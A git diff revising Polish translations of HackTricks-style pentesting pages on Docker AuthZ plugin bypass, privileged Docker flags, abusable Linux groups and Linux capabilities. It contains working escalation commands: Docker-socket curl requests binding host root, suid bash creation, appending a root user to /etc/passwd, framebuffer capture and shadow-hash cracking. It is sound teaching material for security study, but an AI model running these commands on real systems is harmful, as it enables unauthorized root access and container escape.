- **`-v /tmp:/host`** -> Jeśli z jakiegoś powodu możesz **zamontować tylko niektóre katalogi** z hosta i masz dostęp wewnątrz hosta. Zamontuj go i utwórz **`/bin/bash`** z **suid** w zamontowanym katalogu, aby móc **wykonać go z hosta i eskalować do roota**.
> [!NOTE]
> Zauważ, że być może nie możesz zamontować folderu `/tmp`, ale możesz zamontować **inny zapisywalny folder**. Możesz znaleźć zapisywalne katalogi, używając: `find / -writable -type d 2>/dev/null`
@ -33,11 +33,11 @@ Możesz również **wykorzystać montowanie do eskalacji uprawnień** wewnątrz
### Ucieczka z kontenera
- **`--privileged`** -> Z tą flagą [usuwasz całe izolowanie z kontenera](docker-privileged.md#what-affects). Sprawdź techniki, aby [uciec z uprzywilejowanych kontenerów jako root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
- **`--privileged`** -> Z tą flagą [usuwasz całe izolowanie z kontenera](docker-privileged.md#what-affects). Sprawdź techniki, aby [uciec z uprzywilejowanych kontenerów jako root](docker-breakout-privilege-escalation/index.html#automatic-enumeration-and-escape).
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Aby [eskalować, wykorzystując możliwości](../linux-capabilities.md), **przyznaj tę możliwość kontenerowi** i wyłącz inne metody ochrony, które mogą uniemożliwić działanie exploita.
### Curl
Na tej stronie omówiliśmy sposoby eskalacji uprawnień za pomocą flag docker, możesz znaleźć **sposoby na wykorzystanie tych metod za pomocą polecenia curl** na stronie:
Na tej stronie omówiliśmy sposoby eskalacji uprawnień przy użyciu flag docker, możesz znaleźć **sposoby na wykorzystanie tych metod za pomocą polecenia curl** na stronie:
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,6 +1,6 @@
{{#include ../../../banners/hacktricks-training.md}}
**Model** **autoryzacji** **Docker** jest **wszystko albo nic**. Każdy użytkownik z uprawnieniami do uzyskania dostępu do demona Docker może **wykonać dowolne** polecenie klienta Docker. To samo dotyczy wywołań korzystających z API silnika Docker do kontaktu z demonem. Jeśli potrzebujesz **większej kontroli dostępu**, możesz stworzyć **wtyczki autoryzacji** i dodać je do konfiguracji demona Docker. Korzystając z wtyczki autoryzacji, administrator Docker może **konfigurować szczegółowe** polityki dostępu do zarządzania dostępem do demona Docker.
**Model** **autoryzacji** **Docker** jest **wszystko albo nic**. Każdy użytkownik z uprawnieniami do uzyskania dostępu do demona Docker może **wykonać dowolne** polecenie klienta Docker. To samo dotyczy wywołań korzystających z API silnika Docker do kontaktu z demonem. Jeśli potrzebujesz **większej kontroli dostępu**, możesz stworzyć **wtyczki autoryzacji** i dodać je do konfiguracji demona Docker. Korzystając z wtyczki autoryzacji, administrator Docker może **konfigurować szczegółowe polityki dostępu** do zarządzania dostępem do demona Docker.
# Podstawowa architektura
@ -8,7 +8,7 @@ Wtyczki autoryzacji Docker to **zewnętrzne** **wtyczki**, które możesz wykorz
**[Poniższe informacje pochodzą z dokumentacji](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
Gdy **żądanie HTTP** jest wysyłane do demona Docker przez CLI lub za pośrednictwem API silnika, **podsystem** **uwierzytelniania** **przekazuje** żądanie do zainstalowanej **wtyczki** **uwierzytelniania**. Żądanie zawiera użytkownika (wywołującego) i kontekst polecenia. **Wtyczka** jest odpowiedzialna za podjęcie decyzji, czy **zezwolić** czy **odmówić** żądanie.
Gdy **żądanie HTTP** jest wysyłane do demona Docker przez CLI lub za pośrednictwem API silnika, **podsystem** **uwierzytelniania** **przekazuje** żądanie do zainstalowanej **wtyczki uwierzytelniania**. Żądanie zawiera użytkownika (wywołującego) i kontekst polecenia. **Wtyczka** jest odpowiedzialna za podjęcie decyzji, czy **zezwolić** czy **odmówić** żądanie.
Poniższe diagramy sekwencji przedstawiają przepływ autoryzacji zezwalającej i odmawiającej:
@ -18,9 +18,9 @@ Poniższe diagramy sekwencji przedstawiają przepływ autoryzacji zezwalającej
Każde żądanie wysyłane do wtyczki **zawiera uwierzytelnionego użytkownika, nagłówki HTTP oraz ciało żądania/odpowiedzi**. Tylko **nazwa użytkownika** i **metoda uwierzytelniania** są przekazywane do wtyczki. Co najważniejsze, **żadne** dane **uwierzytelniające** użytkownika ani tokeny nie są przekazywane. Na koniec, **nie wszystkie ciała żądań/odpowiedzi są wysyłane** do wtyczki autoryzacji. Tylko te ciała żądań/odpowiedzi, w których `Content-Type` to `text/*` lub `application/json`, są wysyłane.
Dla poleceń, które mogą potencjalnie przejąć połączenie HTTP (`HTTP Upgrade`), takich jak `exec`, wtyczka autoryzacji jest wywoływana tylko dla początkowych żądań HTTP. Gdy wtyczka zatwierdzi polecenie, autoryzacja nie jest stosowana do reszty przepływu. W szczególności, dane strumieniowe nie są przekazywane do wtyczek autoryzacji. Dla poleceń, które zwracają odpowiedzi HTTP w kawałkach, takich jak `logs` i `events`, tylko żądanie HTTP jest wysyłane do wtyczek autoryzacji.
Dla poleceń, które mogą potencjalnie przejąć połączenie HTTP (`HTTP Upgrade`), takich jak `exec`, wtyczka autoryzacji jest wywoływana tylko dla początkowych żądań HTTP. Gdy wtyczka zatwierdzi polecenie, autoryzacja nie jest stosowana do reszty przepływu. W szczególności dane strumieniowe nie są przekazywane do wtyczek autoryzacji. Dla poleceń, które zwracają podzieloną odpowiedź HTTP, takich jak `logs` i `events`, tylko żądanie HTTP jest wysyłane do wtyczek autoryzacji.
Podczas przetwarzania żądań/odpowiedzi, niektóre przepływy autoryzacji mogą wymagać dodatkowych zapytań do demona Docker. Aby zakończyć takie przepływy, wtyczki mogą wywoływać API demona podobnie jak zwykły użytkownik. Aby umożliwić te dodatkowe zapytania, wtyczka musi zapewnić środki dla administratora do skonfigurowania odpowiednich polityk uwierzytelniania i bezpieczeństwa.
Podczas przetwarzania żądań/odpowiedzi, niektóre przepływy autoryzacji mogą wymagać dodatkowych zapytań do demona Docker. Aby zakończyć takie przepływy, wtyczki mogą wywoływać API demona podobnie jak zwykły użytkownik. Aby umożliwić te dodatkowe zapytania, wtyczka musi zapewnić administratorowi środki do skonfigurowania odpowiednich polityk uwierzytelniania i bezpieczeństwa.
## Kilka wtyczek
@ -30,7 +30,7 @@ Jesteś odpowiedzialny za **rejestrowanie** swojej **wtyczki** jako część **u
## Twistlock AuthZ Broker
Wtyczka [**authz**](https://github.com/twistlock/authz) pozwala na stworzenie prostego pliku **JSON**, który **wtyczka** będzie **czytać**, aby autoryzować żądania. Dzięki temu masz możliwość bardzo łatwego kontrolowania, które punkty końcowe API mogą osiągnąć każdego użytkownika.
Wtyczka [**authz**](https://github.com/twistlock/authz) pozwala na stworzenie prostego pliku **JSON**, który wtyczka będzie **odczytywać**, aby autoryzować żądania. Dzięki temu masz możliwość bardzo łatwego kontrolowania, które punkty końcowe API mogą osiągnąć każdego użytkownika.
To jest przykład, który pozwoli Alicji i Bobowi na tworzenie nowych kontenerów: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
@ -56,7 +56,7 @@ Aby przeprowadzić tę enumerację, możesz **użyć narzędzia** [**https://git
```bash
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
```
### Uruchamianie kontenera, a następnie uzyskiwanie sesji z uprawnieniami
### Uruchamianie kontenera i uzyskiwanie sesji z uprawnieniami
W tym przypadku administrator systemu **zabronił użytkownikom montowania wolumenów i uruchamiania kontenerów z flagą `--privileged`** lub nadawania jakichkolwiek dodatkowych uprawnień kontenerowi:
```bash
@ -76,7 +76,7 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
```
Teraz użytkownik może uciec z kontenera, używając dowolnej z [**wcześniej omówionych technik**](./#privileged-flag) i **eskalować uprawnienia** wewnątrz hosta.
Teraz użytkownik może uciec z kontenera, używając dowolnej z [**wcześniej omówionych technik**](#privileged-flag) i **eskalować uprawnienia** wewnątrz hosta.
## Montowanie zapisywalnego folderu
@ -94,11 +94,11 @@ host> /tmp/bash
>
> **Zauważ, że nie wszystkie katalogi w maszynie linux wspierają bit suid!** Aby sprawdzić, które katalogi wspierają bit suid, uruchom `mount | grep -v "nosuid"` Na przykład zazwyczaj `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` i `/var/lib/lxcfs` nie wspierają bitu suid.
>
> Zauważ również, że jeśli możesz **zamontować `/etc`** lub jakikolwiek inny folder **zawierający pliki konfiguracyjne**, możesz je zmienić z kontenera docker jako root, aby **nadużyć ich w hoście** i eskalować uprawnienia (może modyfikując `/etc/shadow`)
> Zauważ również, że jeśli możesz **zamontować `/etc`** lub jakikolwiek inny folder **zawierający pliki konfiguracyjne**, możesz je zmienić z kontenera docker jako root, aby **nadużyć ich na hoście** i eskalować uprawnienia (może modyfikując `/etc/shadow`)
## Niezweryfikowany punkt końcowy API
Odpowiedzialnością sysadmina konfigurowania tej wtyczki byłoby kontrolowanie, które akcje i z jakimi uprawnieniami każdy użytkownik może wykonywać. Dlatego, jeśli administrator przyjmie podejście **czarnej listy** z punktami końcowymi i atrybutami, może **zapomnieć o niektórych z nich**, które mogłyby pozwolić atakującemu na **eskalację uprawnień.**
Odpowiedzialnością administratora systemu konfigurowania tej wtyczki byłoby kontrolowanie, które akcje i z jakimi uprawnieniami każdy użytkownik może wykonywać. Dlatego, jeśli administrator przyjmie podejście **czarnej listy** z punktami końcowymi i atrybutami, może **zapomnieć o niektórych z nich**, które mogłyby pozwolić atakującemu na **eskalację uprawnień.**
Możesz sprawdzić API dockera w [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
@ -106,7 +106,7 @@ Możesz sprawdzić API dockera w [https://docs.docker.com/engine/api/v1.40/#](ht
### Binds w root
Możliwe, że gdy sysadmin konfigurował zaporę docker, **zapomniał o niektórym ważnym parametrze** [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) takim jak "**Binds**".\
Możliwe, że gdy administrator systemu konfigurował zaporę docker, **zapomniał o niektórym ważnym parametrze** [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) takim jak "**Binds**".\
W poniższym przykładzie możliwe jest nadużycie tej błędnej konfiguracji, aby utworzyć i uruchomić kontener, który montuje folder root (/) hosta:
```bash
docker version #First, find the API version of docker, 1.40 in this example
@ -118,17 +118,17 @@ docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem
```
> [!WARNING]
> Zauważ, że w tym przykładzie używamy parametru **`Binds`** jako klucza na poziomie root w JSON, ale w API pojawia się pod kluczem **`HostConfig`**
> Zauważ, że w tym przykładzie używamy parametru **`Binds`** jako klucza na poziomie root w JSON, ale w API pojawia się on pod kluczem **`HostConfig`**
### Binds w HostConfig
Postępuj zgodnie z tymi samymi instrukcjami jak w przypadku **Binds w root**, wykonując to **żądanie** do API Dockera:
Postępuj zgodnie z tymi samymi instrukcjami co w **Binds w root**, wykonując tę **prośbę** do API Dockera:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
```
### Mounts w root
### Mounts in root
Postępuj zgodnie z tymi samymi instrukcjami co w **Binds w root**, wykonując to **żądanie** do API Dockera:
Postępuj zgodnie z tymi samymi instrukcjami co w przypadku **Binds in root**, wykonując to **request** do API Dockera:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
```
@ -140,7 +140,7 @@ curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '
```
## Niezweryfikowany atrybut JSON
Możliwe, że gdy administrator systemu konfigurował zaporę docker, **zapomniał o niektórym ważnym atrybucie parametru** [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) takim jak "**Capabilities**" wewnątrz "**HostConfig**". W poniższym przykładzie można wykorzystać tę niewłaściwą konfigurację do stworzenia i uruchomienia kontenera z uprawnieniem **SYS_MODULE**:
Możliwe, że gdy administrator systemu konfigurował zaporę docker, **zapomniał o niektórym ważnym atrybucie parametru** [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) takim jak "**Capabilities**" w "**HostConfig**". W poniższym przykładzie można wykorzystać tę niewłaściwą konfigurację do stworzenia i uruchomienia kontenera z uprawnieniem **SYS_MODULE**:
```bash
docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
@ -151,7 +151,7 @@ capsh --print
#You can abuse the SYS_MODULE capability
```
> [!NOTE]
> **`HostConfig`** jest kluczem, który zazwyczaj zawiera **interesujące** **uprawnienia** do ucieczki z kontenera. Jednak, jak wcześniej omówiliśmy, zauważ, że użycie Binds poza nim również działa i może pozwolić na ominięcie ograniczeń.
> **`HostConfig`** jest kluczem, który zazwyczaj zawiera **interesujące** **uprawnienia** do ucieczki z kontenera. Jednak, jak wcześniej omówiliśmy, zauważ, że użycie Binds poza nim również działa i może pozwolić na obejście ograniczeń.
## Wyłączanie wtyczki

View File

@ -26,7 +26,7 @@ Znajdź wszystkie binarki suid i sprawdź, czy istnieje binarka **Pkexec**:
```bash
find / -perm -4000 2>/dev/null
```
Jeśli odkryjesz, że binarny plik **pkexec jest binarnym plikiem SUID** i należysz do **sudo** lub **admin**, prawdopodobnie będziesz mógł wykonywać binaria jako sudo za pomocą `pkexec`.\
Jeśli odkryjesz, że binarny **pkexec jest binarnym SUID** i należysz do **sudo** lub **admin**, prawdopodobnie będziesz mógł wykonywać binaria jako sudo za pomocą `pkexec`.\
Dzieje się tak, ponieważ zazwyczaj są to grupy w ramach **polkit policy**. Ta polityka zasadniczo identyfikuje, które grupy mogą używać `pkexec`. Sprawdź to za pomocą:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
@ -43,7 +43,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**To nie dlatego, że nie masz uprawnień, ale dlatego, że nie jesteś połączony bez GUI**. A tutaj jest obejście tego problemu: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Potrzebujesz **2 różnych sesji ssh**:
**To nie dlatego, że nie masz uprawnień, ale dlatego, że nie jesteś połączony bez GUI**. Istnieje obejście tego problemu tutaj: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Potrzebujesz **2 różnych sesji ssh**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -66,19 +66,19 @@ Jeśli tak jest, aby **stać się rootem, wystarczy wykonać**:
```
sudo su
```
## Shadow Group
## Grupa Shadow
Użytkownicy z **grupy shadow** mogą **czytać** plik **/etc/shadow**:
```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
So, przeczytaj plik i spróbuj **złamać niektóre hashe**.
So, read the file and try to **crack some hashes**.
## Grupa Pracowników
**staff**: Pozwala użytkownikom na dodawanie lokalnych modyfikacji do systemu (`/usr/local`) bez potrzeby posiadania uprawnień roota (zauważ, że pliki wykonywalne w `/usr/local/bin` są w zmiennej PATH każdego użytkownika i mogą "nadpisywać" pliki wykonywalne w `/bin` i `/usr/bin` o tej samej nazwie). Porównaj z grupą "adm", która jest bardziej związana z monitorowaniem/bezpieczeństwem. [\[source\]](https://wiki.debian.org/SystemGroups)
**staff**: Umożliwia użytkownikom dodawanie lokalnych modyfikacji do systemu (`/usr/local`) bez potrzeby posiadania uprawnień roota (zauważ, że pliki wykonywalne w `/usr/local/bin` są w zmiennej PATH każdego użytkownika i mogą "nadpisywać" pliki wykonywalne w `/bin` i `/usr/bin` o tej samej nazwie). Porównaj z grupą "adm", która jest bardziej związana z monitorowaniem/bezpieczeństwem. [\[source\]](https://wiki.debian.org/SystemGroups)
W dystrybucjach debiana, zmienna `$PATH` pokazuje, że `/usr/local/` będzie uruchamiana z najwyższym priorytetem, niezależnie od tego, czy jesteś użytkownikiem z uprawnieniami, czy nie.
W dystrybucjach debiana zmienna `$PATH` pokazuje, że `/usr/local/` będzie uruchamiana z najwyższym priorytetem, niezależnie od tego, czy jesteś użytkownikiem z uprawnieniami, czy nie.
```bash
$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
@ -150,7 +150,7 @@ Jednakże, jeśli spróbujesz **zapisać pliki należące do roota** (takie jak
## Grupa Wideo
Używając polecenia `w`, możesz znaleźć **kto jest zalogowany w systemie** i wyświetli ono wynik podobny do poniższego:
Używając polecenia `w`, możesz znaleźć **kto jest zalogowany w systemie** i wyświetli to wynik podobny do poniższego:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
@ -163,7 +163,7 @@ Grupa **video** ma dostęp do wyświetlania wyjścia ekranu. W zasadzie możesz
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
Aby **otworzyć** **surowy obraz**, możesz użyć **GIMP**, wybrać plik **`screen.raw`** i wybrać jako typ pliku **Dane surowego obrazu**:
Aby **otworzyć** **surowy obraz**, możesz użyć **GIMP**, wybrać plik **`screen.raw`** i jako typ pliku wybrać **Surowe dane obrazu**:
![](<../../../images/image (463).png>)
@ -175,7 +175,7 @@ Następnie zmodyfikuj Szerokość i Wysokość na te używane na ekranie i spraw
Wygląda na to, że domyślnie **członkowie grupy root** mogą mieć dostęp do **modyfikacji** niektórych plików konfiguracyjnych **usług** lub niektórych plików **bibliotek** lub **innych interesujących rzeczy**, które mogą być użyte do eskalacji uprawnień...
**Sprawdź, które pliki członkowie root mogą modyfikować**:
**Sprawdź, które pliki członkowie roota mogą modyfikować**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
@ -193,13 +193,13 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
```
Na koniec, jeśli nie podoba Ci się żadna z wcześniejszych sugestii lub z jakiegoś powodu nie działają (firewall API dockera?), zawsze możesz spróbować **uruchomić kontener z uprawnieniami i uciec z niego**, jak wyjaśniono tutaj:
Na koniec, jeśli nie podoba Ci się żadna z wcześniejszych sugestii lub z jakiegoś powodu nie działają (firewall API dockera?), zawsze możesz spróbować **uruchomić kontener z uprawnieniami i wydostać się z niego**, jak wyjaśniono tutaj:
{{#ref}}
../docker-security/
{{#endref}}
Jeśli masz uprawnienia do zapisu w gnieździe dockera, przeczytaj [**ten post o tym, jak eskalować uprawnienia, nadużywając gniazda dockera**](../#writable-docker-socket)**.**
Jeśli masz uprawnienia do zapisu w gnieździe dockera, przeczytaj [**ten post o tym, jak eskalować uprawnienia, nadużywając gniazda dockera**](../index.html#writable-docker-socket)**.**
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
@ -217,7 +217,7 @@ https://fosterelli.co/privilege-escalation-via-docker.html
## Grupa Adm
Zazwyczaj **członkowie** grupy **`adm`** mają uprawnienia do **odczytu plików dziennika** znajdujących się w _/var/log/_.\
Zazwyczaj **członkowie** grupy **`adm`** mają uprawnienia do **odczytu plików** dziennika znajdujących się w _/var/log/_.\
Dlatego, jeśli skompromitowałeś użytkownika w tej grupie, zdecydowanie powinieneś **sprawdzić logi**.
## Grupa Auth

View File

@ -16,18 +16,18 @@ Linux capabilities dzielą **uprawnienia roota na mniejsze, odrębne jednostki**
1. **Inherited (CapInh)**:
- **Cel**: Określa uprawnienia przekazywane z procesu nadrzędnego.
- **Funkcjonalność**: Gdy tworzony jest nowy proces, dziedziczy on uprawnienia z procesu nadrzędnego w tym zbiorze. Przydatne do utrzymania pewnych uprawnień podczas uruchamiania procesów.
- **Funkcjonalność**: Gdy tworzony jest nowy proces, dziedziczy on uprawnienia od swojego rodzica w tym zbiorze. Przydatne do utrzymania pewnych uprawnień podczas uruchamiania procesów.
- **Ograniczenia**: Proces nie może uzyskać uprawnień, których jego rodzic nie posiadał.
2. **Effective (CapEff)**:
- **Cel**: Reprezentuje rzeczywiste uprawnienia, które proces wykorzystuje w danym momencie.
- **Funkcjonalność**: To zbiór uprawnień sprawdzanych przez jądro w celu przyznania zgody na różne operacje. Dla plików, ten zbiór może być flagą wskazującą, czy dozwolone uprawnienia pliku mają być uznawane za efektywne.
- **Znaczenie**: Zbiór efektywny jest kluczowy dla natychmiastowych kontroli uprawnień, działając jako aktywny zbiór uprawnień, które proces może wykorzystać.
- **Znaczenie**: Zbiór efektywny jest kluczowy dla natychmiastowych kontroli uprawnień, działając jako aktywny zbiór uprawnień, które proces może używać.
3. **Permitted (CapPrm)**:
- **Cel**: Określa maksymalny zbiór uprawnień, które proces może posiadać.
- **Cel**: Definiuje maksymalny zbiór uprawnień, które proces może posiadać.
- **Funkcjonalność**: Proces może podnieść uprawnienie z dozwolonego zbioru do swojego zbioru efektywnego, dając mu możliwość użycia tego uprawnienia. Może również zrezygnować z uprawnień z dozwolonego zbioru.
- **Granica**: Działa jako górna granica dla uprawnień, które proces może mieć, zapewniając, że proces nie przekroczy swojego zdefiniowanego zakresu uprawnień.
@ -59,8 +59,8 @@ Dla dalszych informacji sprawdź:
### Możliwości procesów
Aby zobaczyć możliwości dla konkretnego procesu, użyj pliku **status** w katalogu /proc. Ponieważ dostarcza więcej szczegółów, ograniczmy się tylko do informacji związanych z możliwościami Linuxa.\
Zauważ, że dla wszystkich działających procesów informacje o możliwościach są utrzymywane na wątek, a dla binariów w systemie plików są przechowywane w atrybutach rozszerzonych.
Aby zobaczyć możliwości dla konkretnego procesu, użyj pliku **status** w katalogu /proc. Ponieważ dostarcza on więcej szczegółów, ograniczmy się tylko do informacji związanych z możliwościami Linuxa.\
Zauważ, że dla wszystkich działających procesów informacje o możliwościach są utrzymywane na poziomie wątku, a dla binariów w systemie pliki są przechowywane w atrybutach rozszerzonych.
Możesz znaleźć możliwości zdefiniowane w /usr/include/linux/capability.h
@ -84,7 +84,7 @@ CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
```
Te liczby szesnastkowe nie mają sensu. Używając narzędzia capsh, możemy je zdekodować na nazwy możliwości.
Te liczby szesnastkowe nie mają sensu. Używając narzędzia capsh, możemy je zdekodować na nazwy uprawnień.
```bash
capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
@ -124,7 +124,7 @@ $ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
```
Jak widać, podane możliwości odpowiadają wynikom 2 sposobów uzyskiwania możliwości binarnego.\
Narzędzie _getpcaps_ używa wywołania systemowego **capget()** do zapytania o dostępne możliwości dla danego wątku. To wywołanie systemowe wymaga jedynie podania PID, aby uzyskać więcej informacji.
Narzędzie _getpcaps_ używa wywołania systemowego **capget()**, aby zapytać o dostępne możliwości dla danego wątku. To wywołanie systemowe potrzebuje jedynie podać PID, aby uzyskać więcej informacji.
### Możliwości binariów
@ -158,7 +158,7 @@ setcap -r </path/to/binary>
## User Capabilities
Wyraźnie **możliwe jest przypisanie uprawnień również do użytkowników**. Prawdopodobnie oznacza to, że każdy proces wykonywany przez użytkownika będzie mógł korzystać z uprawnień użytkownika.\
Na podstawie [this](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [this ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) i [this ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user) kilka plików musi być skonfigurowanych, aby nadać użytkownikowi określone uprawnienia, ale plik przypisujący uprawnienia do każdego użytkownika to `/etc/security/capability.conf`.\
Na podstawie [tego](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [tego](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) i [tego](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user) kilka plików musi być skonfigurowanych, aby nadać użytkownikowi określone uprawnienia, ale plik przypisujący uprawnienia do każdego użytkownika to `/etc/security/capability.conf`.\
Przykład pliku:
```bash
# Simple
@ -173,9 +173,9 @@ cap_net_admin,cap_net_raw jrnetadmin
# Combining names and numerics
cap_sys_admin,22,25 jrsysadmin
```
## Możliwości środowiska
## Environment Capabilities
Kompilując następujący program, możliwe jest **uruchomienie powłoki bash w środowisku, które zapewnia możliwości**.
Kompilując następujący program, możliwe jest **uruchomienie powłoki bash w środowisku, które zapewnia uprawnienia**.
```c:ambient.c
/*
* Test program for the ambient capabilities
@ -271,30 +271,30 @@ gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash
```
Wewnątrz **bash wykonywanego przez skompilowany binarny ambient** można zaobserwować **nowe możliwości** (zwykły użytkownik nie będzie miał żadnej możliwości w sekcji "aktualnej").
W **bash uruchomionym przez skompilowany binarny ambient** można zaobserwować **nowe możliwości** (zwykły użytkownik nie będzie miał żadnej możliwości w sekcji "aktualnej").
```bash
capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
```
> [!CAUTION]
> Możesz **dodawać tylko te możliwości, które są obecne** zarówno w zestawie dozwolonym, jak i dziedziczonym.
> Możesz **dodać tylko te uprawnienia, które są obecne** zarówno w zestawie dozwolonym, jak i dziedziczonym.
### Binaries świadome możliwości/ Binaries nieświadome możliwości
### Binaries świadome/nieświadome uprawnień
**Binaries świadome możliwości nie będą używać nowych możliwości** nadanych przez środowisko, jednak **binaries nieświadome możliwości będą je** używać, ponieważ ich nie odrzucą. To sprawia, że binaries nieświadome możliwości są podatne w specjalnym środowisku, które przyznaje możliwości binarnym.
**Binaries świadome uprawnień nie będą używać nowych uprawnień** nadanych przez środowisko, jednak **binaries nieświadome uprawnień będą je** używać, ponieważ ich nie odrzucą. To sprawia, że binaries nieświadome uprawnień są podatne w specjalnym środowisku, które przyznaje uprawnienia binarnym.
## Możliwości usługi
## Uprawnienia usług
Domyślnie **usługa działająca jako root będzie miała przypisane wszystkie możliwości**, a w niektórych przypadkach może to być niebezpieczne.\
Dlatego plik **konfiguracji usługi** pozwala **określić** **możliwości**, które chcesz, aby miała, **oraz** **użytkownika**, który powinien uruchomić usługę, aby uniknąć uruchamiania usługi z niepotrzebnymi uprawnieniami:
Domyślnie **usługa działająca jako root będzie miała przypisane wszystkie uprawnienia**, a w niektórych przypadkach może to być niebezpieczne.\
Dlatego plik **konfiguracji usługi** pozwala **określić** **uprawnienia**, które chcesz, aby miała, **oraz** **użytkownika**, który powinien uruchomić usługę, aby uniknąć uruchamiania usługi z niepotrzebnymi uprawnieniami:
```bash
[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE
```
## Możliwości w kontenerach Docker
## Capabilities in Docker Containers
Domyślnie Docker przypisuje kilka możliwości do kontenerów. Bardzo łatwo jest sprawdzić, które to możliwości, uruchamiając:
Domyślnie Docker przypisuje kilka uprawnień do kontenerów. Bardzo łatwo jest sprawdzić, które to uprawnienia, uruchamiając:
```bash
docker run --rm -it r.j3ss.co/amicontained bash
Capabilities:
@ -311,7 +311,7 @@ docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained
```
## Privesc/Container Escape
Capabilities są przydatne, gdy **chcesz ograniczyć własne procesy po wykonaniu operacji z uprawnieniami** (np. po skonfigurowaniu chroot i powiązaniu z gniazdem). Mogą być jednak wykorzystywane poprzez przekazywanie złośliwych poleceń lub argumentów, które są następnie uruchamiane jako root.
Capabilities są przydatne, gdy **chcesz ograniczyć własne procesy po wykonaniu operacji z uprawnieniami** (np. po skonfigurowaniu chroot i powiązaniu z gniazdem). Mogą jednak być wykorzystywane poprzez przekazywanie złośliwych poleceń lub argumentów, które są następnie uruchamiane jako root.
Możesz wymusić możliwości na programach za pomocą `setcap`, a zapytać o nie za pomocą `getcap`:
```bash
@ -403,7 +403,7 @@ W poprzednim wyjściu widać, że zdolność SYS_ADMIN jest włączona.
- **Mount**
To pozwala kontenerowi docker na **zamontowanie dysku hosta i swobodne do niego uzyskanie dostępu**:
To pozwala kontenerowi docker na **zamontowanie dysku hosta i swobodne uzyskiwanie do niego dostępu**:
```bash
fdisk -l #Get disk name
